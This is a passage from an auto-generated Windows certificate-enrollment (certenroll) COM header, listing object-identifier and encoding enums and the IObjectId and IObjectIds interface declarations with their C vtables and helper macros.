XCN_OID_WHQL_CRYPTO\t= 261,\n        XCN_OID_NT5_CRYPTO\t= 262,\n        XCN_OID_OEM_WHQL_CRYPTO\t= 263,\n        XCN_OID_EMBEDDED_NT_CRYPTO\t= 264,\n        XCN_OID_ROOT_LIST_SIGNER\t= 265,\n        XCN_OID_KP_QUALIFIED_SUBORDINATION\t= 266,\n        XCN_OID_KP_KEY_RECOVERY\t= 267,\n        XCN_OID_KP_DOCUMENT_SIGNING\t= 268,\n        XCN_OID_KP_LIFETIME_SIGNING\t= 269,\n        XCN_OID_KP_MOBILE_DEVICE_SOFTWARE\t= 270,\n        XCN_OID_KP_SMART_DISPLAY\t= 271,\n        XCN_OID_KP_CSP_SIGNATURE\t= 272,\n        XCN_OID_DRM\t= 273,\n        XCN_OID_DRM_INDIVIDUALIZATION\t= 274,\n        XCN_OID_LICENSES\t= 275,\n        XCN_OID_LICENSE_SERVER\t= 276,\n        XCN_OID_KP_SMARTCARD_LOGON\t= 277,\n        XCN_OID_YESNO_TRUST_ATTR\t= 278,\n        XCN_OID_PKIX_POLICY_QUALIFIER_CPS\t= 279,\n        XCN_OID_PKIX_POLICY_QUALIFIER_USERNOTICE\t= 280,\n        XCN_OID_CERT_POLICIES_95_QUALIFIER1\t= 281,\n        XCN_OID_PKIX_ACC_DESCR\t= 282,\n        XCN_OID_PKIX_OCSP\t= 283,\n        XCN_OID_PKIX_CA_ISSUERS\t= 284,\n        XCN_OID_VERISIGN_PRIVATE_6_9\t= 285,\n        XCN_OID_VERISIGN_ONSITE_JURISDICTION_HASH\t= 286,\n        XCN_OID_VERISIGN_BITSTRING_6_13\t= 287,\n        XCN_OID_VERISIGN_ISS_STRONG_CRYPTO\t= 288,\n        XCN_OID_NETSCAPE\t= 289,\n        XCN_OID_NETSCAPE_CERT_EXTENSION\t= 290,\n        XCN_OID_NETSCAPE_CERT_TYPE\t= 291,\n        XCN_OID_NETSCAPE_BASE_URL\t= 292,\n        XCN_OID_NETSCAPE_REVOCATION_URL\t= 293,\n        XCN_OID_NETSCAPE_CA_REVOCATION_URL\t= 294,\n        XCN_OID_NETSCAPE_CERT_RENEWAL_URL\t= 295,\n        XCN_OID_NETSCAPE_CA_POLICY_URL\t= 296,\n        XCN_OID_NETSCAPE_SSL_SERVER_NAME\t= 297,\n        XCN_OID_NETSCAPE_COMMENT\t= 298,\n        XCN_OID_NETSCAPE_DATA_TYPE\t= 299,\n        XCN_OID_NETSCAPE_CERT_SEQUENCE\t= 300,\n        XCN_OID_CT_PKI_DATA\t= 301,\n        XCN_OID_CT_PKI_RESPONSE\t= 302,\n        XCN_OID_PKIX_NO_SIGNATURE\t= 303,\n        XCN_OID_CMC\t= 304,\n        XCN_OID_CMC_STATUS_INFO\t= 305,\n        XCN_OID_CMC_IDENTIFICATION\t= 306,\n        XCN_OID_CMC_IDENTITY_PROOF\t= 307,\n        XCN_OID_CMC_DATA_RETURN\t= 308,\n        XCN_OID_CMC_TRANSACTION_ID\t= 309,\n        XCN_OID_CMC_SENDER_NONCE\t= 310,\n        XCN_OID_CMC_RECIPIENT_NONCE\t= 311,\n        XCN_OID_CMC_ADD_EXTENSIONS\t= 312,\n        XCN_OID_CMC_ENCRYPTED_POP\t= 313,\n        XCN_OID_CMC_DECRYPTED_POP\t= 314,\n        XCN_OID_CMC_LRA_POP_WITNESS\t= 315,\n        XCN_OID_CMC_GET_CERT\t= 316,\n        XCN_OID_CMC_GET_CRL\t= 317,\n        XCN_OID_CMC_REVOKE_REQUEST\t= 318,\n        XCN_OID_CMC_REG_INFO\t= 319,\n        XCN_OID_CMC_RESPONSE_INFO\t= 320,\n        XCN_OID_CMC_QUERY_PENDING\t= 321,\n        XCN_OID_CMC_ID_POP_LINK_RANDOM\t= 322,\n        XCN_OID_CMC_ID_POP_LINK_WITNESS\t= 323,\n        XCN_OID_CMC_ID_CONFIRM_CERT_ACCEPTANCE\t= 324,\n        XCN_OID_CMC_ADD_ATTRIBUTES\t= 325,\n        XCN_OID_LOYALTY_OTHER_LOGOTYPE\t= 326,\n        XCN_OID_BACKGROUND_OTHER_LOGOTYPE\t= 327,\n        XCN_OID_PKIX_OCSP_BASIC_SIGNED_RESPONSE\t= 328,\n        XCN_OID_PKCS_7_DATA\t= 329,\n        XCN_OID_PKCS_7_SIGNED\t= 330,\n        XCN_OID_PKCS_7_ENVELOPED\t= 331,\n        XCN_OID_PKCS_7_SIGNEDANDENVELOPED\t= 332,\n        XCN_OID_PKCS_7_DIGESTED\t= 333,\n        XCN_OID_PKCS_7_ENCRYPTED\t= 334,\n        XCN_OID_PKCS_9_CONTENT_TYPE\t= 335,\n        XCN_OID_PKCS_9_MESSAGE_DIGEST\t= 336,\n        XCN_OID_CERT_PROP_ID_PREFIX\t= 337,\n        XCN_OID_CERT_KEY_IDENTIFIER_PROP_ID\t= 338,\n        XCN_OID_CERT_ISSUER_SERIAL_NUMBER_MD5_HASH_PROP_ID\t= 339,\n        XCN_OID_CERT_SUBJECT_NAME_MD5_HASH_PROP_ID\t= 340,\n        XCN_OID_CERT_MD5_HASH_PROP_ID\t= 341,\n        XCN_OID_RSA_SHA256RSA\t= 342,\n        XCN_OID_RSA_SHA384RSA\t= 343,\n        XCN_OID_RSA_SHA512RSA\t= 344,\n        XCN_OID_NIST_sha256\t= 345,\n        XCN_OID_NIST_sha384\t= 346,\n        XCN_OID_NIST_sha512\t= 347,\n        XCN_OID_RSA_MGF1\t= 348,\n        XCN_OID_ECC_PUBLIC_KEY\t= 349,\n        XCN_OID_ECDSA_SHA1\t= 350,\n        XCN_OID_ECDSA_SPECIFIED\t= 351,\n        XCN_OID_ANY_ENHANCED_KEY_USAGE\t= 352,\n        XCN_OID_RSA_SSA_PSS\t= 353,\n        XCN_OID_ATTR_SUPPORTED_ALGORITHMS\t= 355,\n        XCN_OID_ATTR_TPM_SECURITY_ASSERTIONS\t= 356,\n        XCN_OID_ATTR_TPM_SPECIFICATION\t= 357,\n        XCN_OID_CERT_DISALLOWED_FILETIME_PROP_ID\t= 358,\n        XCN_OID_CERT_SIGNATURE_HASH_PROP_ID\t= 359,\n        XCN_OID_CERT_STRONG_KEY_OS_1\t= 360,\n        XCN_OID_CERT_STRONG_KEY_OS_CURRENT\t= 361,\n        XCN_OID_CERT_STRONG_KEY_OS_PREFIX\t= 362,\n        XCN_OID_CERT_STRONG_SIGN_OS_1\t= 363,\n        XCN_OID_CERT_STRONG_SIGN_OS_CURRENT\t= 364,\n        XCN_OID_CERT_STRONG_SIGN_OS_PREFIX\t= 365,\n        XCN_OID_DH_SINGLE_PASS_STDDH_SHA1_KDF\t= 366,\n        XCN_OID_DH_SINGLE_PASS_STDDH_SHA256_KDF\t= 367,\n        XCN_OID_DH_SINGLE_PASS_STDDH_SHA384_KDF\t= 368,\n        XCN_OID_DISALLOWED_HASH\t= 369,\n        XCN_OID_DISALLOWED_LIST\t= 370,\n        XCN_OID_ECC_CURVE_P256\t= 371,\n        XCN_OID_ECC_CURVE_P384\t= 372,\n        XCN_OID_ECC_CURVE_P521\t= 373,\n        XCN_OID_ECDSA_SHA256\t= 374,\n        XCN_OID_ECDSA_SHA384\t= 375,\n        XCN_OID_ECDSA_SHA512\t= 376,\n        XCN_OID_ENROLL_CAXCHGCERT_HASH\t= 377,\n        XCN_OID_ENROLL_EK_INFO\t= 378,\n        XCN_OID_ENROLL_EKPUB_CHALLENGE\t= 379,\n        XCN_OID_ENROLL_EKVERIFYCERT\t= 380,\n        XCN_OID_ENROLL_EKVERIFYCREDS\t= 381,\n        XCN_OID_ENROLL_EKVERIFYKEY\t= 382,\n        XCN_OID_EV_RDN_COUNTRY\t= 383,\n        XCN_OID_EV_RDN_LOCALE\t= 384,\n        XCN_OID_EV_RDN_STATE_OR_PROVINCE\t= 385,\n        XCN_OID_INHIBIT_ANY_POLICY\t= 386,\n        XCN_OID_INTERNATIONALIZED_EMAIL_ADDRESS\t= 387,\n        XCN_OID_KP_KERNEL_MODE_CODE_SIGNING\t= 388,\n        XCN_OID_KP_KERNEL_MODE_HAL_EXTENSION_SIGNING\t= 389,\n        XCN_OID_KP_KERNEL_MODE_TRUSTED_BOOT_SIGNING\t= 390,\n        XCN_OID_KP_TPM_AIK_CERTIFICATE\t= 391,\n        XCN_OID_KP_TPM_EK_CERTIFICATE\t= 392,\n        XCN_OID_KP_TPM_PLATFORM_CERTIFICATE\t= 393,\n        XCN_OID_NIST_AES128_CBC\t= 394,\n        XCN_OID_NIST_AES128_WRAP\t= 395,\n        XCN_OID_NIST_AES192_CBC\t= 396,\n        XCN_OID_NIST_AES192_WRAP\t= 397,\n        XCN_OID_NIST_AES256_CBC\t= 398,\n        XCN_OID_NIST_AES256_WRAP\t= 399,\n        XCN_OID_PKCS_12_PbeIds\t= 400,\n        XCN_OID_PKCS_12_pbeWithSHA1And128BitRC2\t= 401,\n        XCN_OID_PKCS_12_pbeWithSHA1And128BitRC4\t= 402,\n        XCN_OID_PKCS_12_pbeWithSHA1And2KeyTripleDES\t= 403,\n        XCN_OID_PKCS_12_pbeWithSHA1And3KeyTripleDES\t= 404,\n        XCN_OID_PKCS_12_pbeWithSHA1And40BitRC2\t= 405,\n        XCN_OID_PKCS_12_pbeWithSHA1And40BitRC4\t= 406,\n        XCN_OID_PKCS_12_PROTECTED_PASSWORD_SECRET_BAG_TYPE_ID\t= 407,\n        XCN_OID_PKINIT_KP_KDC\t= 408,\n        XCN_OID_PKIX_CA_REPOSITORY\t= 409,\n        XCN_OID_PKIX_OCSP_NONCE\t= 410,\n        XCN_OID_PKIX_TIME_STAMPING\t= 411,\n        XCN_OID_QC_EU_COMPLIANCE\t= 412,\n        XCN_OID_QC_SSCD\t= 413,\n        XCN_OID_QC_STATEMENTS_EXT\t= 414,\n        XCN_OID_RDN_TPM_MANUFACTURER\t= 415,\n        XCN_OID_RDN_TPM_MODEL\t= 416,\n        XCN_OID_RDN_TPM_VERSION\t= 417,\n        XCN_OID_REVOKED_LIST_SIGNER\t= 418,\n        XCN_OID_RFC3161_counterSign\t= 419,\n        XCN_OID_ROOT_PROGRAM_AUTO_UPDATE_CA_REVOCATION\t= 420,\n        XCN_OID_ROOT_PROGRAM_AUTO_UPDATE_END_REVOCATION\t= 421,\n        XCN_OID_ROOT_PROGRAM_FLAGS\t= 422,\n        XCN_OID_ROOT_PROGRAM_NO_OCSP_FAILOVER_TO_CRL\t= 423,\n        XCN_OID_RSA_PSPECIFIED\t= 424,\n        XCN_OID_RSAES_OAEP\t= 425,\n        XCN_OID_SUBJECT_INFO_ACCESS\t= 426,\n        XCN_OID_TIMESTAMP_TOKEN\t= 427,\n        XCN_OID_ENROLL_SCEP_ERROR\t= 428,\n        XCN_OIDVerisign_MessageType\t= 429,\n        XCN_OIDVerisign_PkiStatus\t= 430,\n        XCN_OIDVerisign_FailInfo\t= 431,\n        XCN_OIDVerisign_SenderNonce\t= 432,\n        XCN_OIDVerisign_RecipientNonce\t= 433,\n        XCN_OIDVerisign_TransactionID\t= 434,\n        XCN_OID_ENROLL_ATTESTATION_CHALLENGE\t= 435,\n        XCN_OID_ENROLL_ATTESTATION_STATEMENT\t= 436,\n        XCN_OID_ENROLL_ENCRYPTION_ALGORITHM\t= 437,\n        XCN_OID_ENROLL_KSP_NAME\t= 438\n    } \tCERTENROLL_OBJECTID;\n\ntypedef \nenum WebSecurityLevel\n    {\n        LevelUnsafe\t= 0,\n        LevelSafe\t= 1\n    } \tWebSecurityLevel;\n\n#define\tCERTENROLL_INDEX_BASE\t( 0 )\n\ntypedef \nenum EncodingType\n    {\n        XCN_CRYPT_STRING_BASE64HEADER\t= 0,\n        XCN_CRYPT_STRING_BASE64\t= 0x1,\n        XCN_CRYPT_STRING_BINARY\t= 0x2,\n        XCN_CRYPT_STRING_BASE64REQUESTHEADER\t= 0x3,\n        XCN_CRYPT_STRING_HEX\t= 0x4,\n        XCN_CRYPT_STRING_HEXASCII\t= 0x5,\n        XCN_CRYPT_STRING_BASE64_ANY\t= 0x6,\n        XCN_CRYPT_STRING_ANY\t= 0x7,\n        XCN_CRYPT_STRING_HEX_ANY\t= 0x8,\n        XCN_CRYPT_STRING_BASE64X509CRLHEADER\t= 0x9,\n        XCN_CRYPT_STRING_HEXADDR\t= 0xa,\n        XCN_CRYPT_STRING_HEXASCIIADDR\t= 0xb,\n        XCN_CRYPT_STRING_HEXRAW\t= 0xc,\n        XCN_CRYPT_STRING_BASE64URI\t= 0xd,\n        XCN_CRYPT_STRING_ENCODEMASK\t= 0xff,\n        XCN_CRYPT_STRING_CHAIN\t= 0x100,\n        XCN_CRYPT_STRING_TEXT\t= 0x200,\n        XCN_CRYPT_STRING_PERCENTESCAPE\t= 0x8000000,\n        XCN_CRYPT_STRING_HASHDATA\t= 0x10000000,\n        XCN_CRYPT_STRING_STRICT\t= 0x20000000,\n        XCN_CRYPT_STRING_NOCRLF\t= 0x40000000,\n        XCN_CRYPT_STRING_NOCR\t= 0x80000000\n    } \tEncodingType;\n\ntypedef \nenum PFXExportOptions\n    {\n        PFXExportEEOnly\t= 0,\n        PFXExportChainNoRoot\t= 1,\n        PFXExportChainWithRoot\t= 2\n    } \tPFXExportOptions;\n\ntypedef \nenum ObjectIdGroupId\n    {\n        XCN_CRYPT_ANY_GROUP_ID\t= 0,\n        XCN_CRYPT_HASH_ALG_OID_GROUP_ID\t= 1,\n        XCN_CRYPT_ENCRYPT_ALG_OID_GROUP_ID\t= 2,\n        XCN_CRYPT_PUBKEY_ALG_OID_GROUP_ID\t= 3,\n        XCN_CRYPT_SIGN_ALG_OID_GROUP_ID\t= 4,\n        XCN_CRYPT_RDN_ATTR_OID_GROUP_ID\t= 5,\n        XCN_CRYPT_EXT_OR_ATTR_OID_GROUP_ID\t= 6,\n        XCN_CRYPT_ENHKEY_USAGE_OID_GROUP_ID\t= 7,\n        XCN_CRYPT_POLICY_OID_GROUP_ID\t= 8,\n        XCN_CRYPT_TEMPLATE_OID_GROUP_ID\t= 9,\n        XCN_CRYPT_LAST_OID_GROUP_ID\t= 10,\n        XCN_CRYPT_FIRST_ALG_OID_GROUP_ID\t= 1,\n        XCN_CRYPT_LAST_ALG_OID_GROUP_ID\t= 4,\n        XCN_CRYPT_GROUP_ID_MASK\t= 0xffff,\n        XCN_CRYPT_OID_PREFER_CNG_ALGID_FLAG\t= 0x40000000,\n        XCN_CRYPT_OID_DISABLE_SEARCH_DS_FLAG\t= 0x80000000,\n        XCN_CRYPT_OID_INFO_OID_GROUP_BIT_LEN_MASK\t= 0xfff0000,\n        XCN_CRYPT_OID_INFO_OID_GROUP_BIT_LEN_SHIFT\t= 16,\n        XCN_CRYPT_KEY_LENGTH_MASK\t= 0xfff0000\n    } \tObjectIdGroupId;\n\ntypedef \nenum ObjectIdPublicKeyFlags\n    {\n        XCN_CRYPT_OID_INFO_PUBKEY_ANY\t= 0,\n        XCN_CRYPT_OID_INFO_PUBKEY_SIGN_KEY_FLAG\t= 0x80000000,\n        XCN_CRYPT_OID_INFO_PUBKEY_ENCRYPT_KEY_FLAG\t= 0x40000000\n    } \tObjectIdPublicKeyFlags;\n\ntypedef \nenum AlgorithmFlags\n    {\n        AlgorithmFlagsNone\t= 0,\n        AlgorithmFlagsWrap\t= 0x1\n    } \tAlgorithmFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0000_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0000_v0_0_s_ifspec;\n\n#ifndef __IObjectId_INTERFACE_DEFINED__\n#define __IObjectId_INTERFACE_DEFINED__\n\n/* interface IObjectId */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IObjectId;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab300-217d-11da-b2a4-000e7bbb2b09\")\n    IObjectId : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeFromName( \n            /* [in] */ CERTENROLL_OBJECTID Name) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeFromValue( \n            /* [in] */ __RPC__in BSTR strValue) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeFromAlgorithmName( \n            /* [in] */ ObjectIdGroupId GroupId,\n            /* [in] */ ObjectIdPublicKeyFlags KeyFlags,\n            /* [in] */ AlgorithmFlags AlgFlags,\n            /* [in] */ __RPC__in BSTR strAlgorithmName) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Name( \n            /* [retval][out] */ __RPC__out CERTENROLL_OBJECTID *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_FriendlyName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_FriendlyName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Value( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetAlgorithmName( \n            /* [in] */ ObjectIdGroupId GroupId,\n            /* [in] */ ObjectIdPublicKeyFlags KeyFlags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrAlgorithmName) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IObjectIdVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IObjectId * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IObjectId * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IObjectId * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IObjectId * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IObjectId * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IObjectId * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IObjectId * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromName )( \n            __RPC__in IObjectId * This,\n            /* [in] */ CERTENROLL_OBJECTID Name);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromValue )( \n            __RPC__in IObjectId * This,\n            /* [in] */ __RPC__in BSTR strValue);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromAlgorithmName )( \n            __RPC__in IObjectId * This,\n            /* [in] */ ObjectIdGroupId GroupId,\n            /* [in] */ ObjectIdPublicKeyFlags KeyFlags,\n            /* [in] */ AlgorithmFlags AlgFlags,\n            /* [in] */ __RPC__in BSTR strAlgorithmName);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Name )( \n            __RPC__in IObjectId * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_OBJECTID *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_FriendlyName )( \n            __RPC__in IObjectId * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_FriendlyName )( \n            __RPC__in IObjectId * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Value )( \n            __RPC__in IObjectId * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetAlgorithmName )( \n            __RPC__in IObjectId * This,\n            /* [in] */ ObjectIdGroupId GroupId,\n            /* [in] */ ObjectIdPublicKeyFlags KeyFlags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrAlgorithmName);\n        \n        END_INTERFACE\n    } IObjectIdVtbl;\n\n    interface IObjectId\n    {\n        CONST_VTBL struct IObjectIdVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IObjectId_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IObjectId_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IObjectId_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IObjectId_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IObjectId_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IObjectId_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IObjectId_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IObjectId_InitializeFromName(This,Name)\t\\\n    ( (This)->lpVtbl -> InitializeFromName(This,Name) ) \n\n#define IObjectId_InitializeFromValue(This,strValue)\t\\\n    ( (This)->lpVtbl -> InitializeFromValue(This,strValue) ) \n\n#define IObjectId_InitializeFromAlgorithmName(This,GroupId,KeyFlags,AlgFlags,strAlgorithmName)\t\\\n    ( (This)->lpVtbl -> InitializeFromAlgorithmName(This,GroupId,KeyFlags,AlgFlags,strAlgorithmName) ) \n\n#define IObjectId_get_Name(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Name(This,pValue) ) \n\n#define IObjectId_get_FriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_FriendlyName(This,pValue) ) \n\n#define IObjectId_put_FriendlyName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_FriendlyName(This,Value) ) \n\n#define IObjectId_get_Value(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Value(This,pValue) ) \n\n#define IObjectId_GetAlgorithmName(This,GroupId,KeyFlags,pstrAlgorithmName)\t\\\n    ( (This)->lpVtbl -> GetAlgorithmName(This,GroupId,KeyFlags,pstrAlgorithmName) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IObjectId_INTERFACE_DEFINED__ */\n\n\n#ifndef __IObjectIds_INTERFACE_DEFINED__\n#define __IObjectIds_INTERFACE_DEFINED__\n\n/* interface IObjectIds */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IObjectIds;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab301-217d-11da-b2a4-000e7bbb2b09\")\n    IObjectIds : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id][custom] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IObjectId *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE AddRange( \n            /* [in] */ __RPC__in_opt IObjectIds *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IObjectIdsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IObjectIds * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IObjectIds * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IObjectIds * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IObjectIds * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IObjectIds * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IObjectIds * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IObjectIds * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IObjectIds * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **pVal);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IObjectIds * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IObjectIds * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id][custom] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IObjectIds * This,\n            /* [in] */ __RPC__in_opt IObjectId *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IObjectIds * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IObjectIds * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *AddRange )( \n            __RPC__in IObjectIds * This,\n            /* [in] */ __RPC__in_opt IObjectIds *pValue);\n        \n        END_INTERFACE\n    } IObjectIdsVtbl;\n\n    interface IObjectIds\n    {\n        CONST_VTBL struct IObjectIdsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IObjectIds_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IObjectIds_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IObjectIds_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IObjectIds_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IObjectIds_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IObjectIds_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> 